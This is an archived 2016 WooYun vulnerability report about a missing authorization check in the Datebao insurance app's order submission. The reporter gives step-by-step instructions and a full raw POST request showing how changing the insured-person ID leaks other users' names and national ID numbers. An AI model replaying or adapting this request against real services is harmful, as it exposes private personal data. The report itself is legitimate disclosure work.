乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-03-22: 细节已通知厂商并且等待厂商处理中 2016-03-22: 厂商已经确认,细节仅向厂商公开 2016-04-01: 细节向核心白帽子及相关领域专家公开 2016-04-11: 细节向普通白帽子公开 2016-04-21: 细节向实习白帽子公开 2016-05-06: 细节向公众公开
RT
http://android.myapp.com/myapp/detail.htm?apkName=com.datebao.datebaoapp下载APP。版本v2.1前期准备:登陆自己的账号,随便去挑个保险,写上被保人信息,并选中。
提交保单,此时抓包
修改被保人id,例如改成1
下单成功去自己的保单列表中查看多了一条被保人信息,内含用户姓名+身份证号。
ps:下单操作,可多次调用,只需修改被保人id,即可将整站被保人信息盗取(100w)
POST http://m.datebao.com/order/postnewcreate HTTP/1.1Host: m.datebao.comConnection: keep-aliveReferer: http://m.datebao.com/order/newcreate/85?client_type=ios&pk_campaign=from_androidContent-Length: 212Pragma: no-cacheCache-Control: no-cacheOrigin: http://m.datebao.comX-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedAccept: application/jsonUser-Agent: Mozilla/5.0 (Linux; U; Android 4.1.1; zh-cn; Google Nexus 4 - 4.1.1 - API 16 - 768x1280_1 Build/JRO03S) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30Accept-Encoding: gzip,deflateAccept-Language: zh-CN, en-USAccept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7Cookie: buyinfo_85=%7B%22product_id%22%3A85%2C%22amount%22%3A200000%2C%22service_id%22%3A%5B%5D%2C%22insure_period_display%22%3A%221%5Cu5929%22%7D; aliyungf_tc=AQAAAD614HlB6A0AUZUv3quAKwxwwFD8; _jzqckmp=1; _pk_ref.1.157b=%5B%22from_android%22%2C%22%22%2C1458576677%2C%22%22%5D; dtb_distinct_id=lc3a13h7n9jf9m4qsc0ba9bgt4; PHPSESSID=lc3a13h7n9jf9m4qsc0ba9bgt4; CNZZDATA1253483918=1873767567-1458572942-%7C1458572942; _jzqa=1.753693462185160600.1458576677.1458576677.1458576677.1; _jzqc=1; _qzja=1.1206840329.1458576676721.1458576676721.1458576676722.1458576716796.1458576720415.0.0.0.6.1; _qzjb=1.1458576676721.6.0.0.0; _qzjc=1; _qzjto=6.1.0; _jzqb=1.6.10.1458576677.1; _pk_id.1.157b=1695f59e23ef94a0.1458576677.1.1458576721.1458576677.; _pk_ses.1.157b=*; ABTest=0; Hm_lpvt_f245b25ca1e1e865452bae2a3ce64c57=1458576850; Hm_lvt_f245b25ca1e1e865452bae2a3ce64c57=1458576850; laravel_session=eyJpdiI6IktVZjkrOUpaSUF6ZEZZSCtZXC9GRStBPT0iLCJ2YWx1ZSI6IjF5R1BBRlJiTmhvQmtUbFhTNHNHZkVQN3AzU3BaY1VkdGVnSkJDQm82bnRVWGsxRjcwc1pKRVhxNkN4RWRXZW9SRkM5azh4ZW8rc1EwSmJySEtSY0pRPT0iLCJtYWMiOiI3MTMzMTNmMmQ0YzQyZjE0YzliZjM5YzUxMzg2N2I4OTg2MDIzYzUzNjE0ZGY1NGMwMDliMDA2NDMyNDM0M2ZjIn0%3D; SERVERID=26ff511c03cf1d6451b5546b1d72f160|1458576850|1458576217insured%5Bfav_user_id%5D=1&holder%5Bmobile_number%5D=13333333333&policy%5Binsure_period_display%5D=1%E5%A4%A9&policy%5Bbegin_date%5D=2016-03-23&policy%5Bamount%5D=200000&policy%5Bcoupon_send_id%5D=0&product_id=85
有木有小礼品此处遗漏权限控制
危害等级:高
漏洞Rank:17
确认时间:2016-03-22 11:04
确认
暂无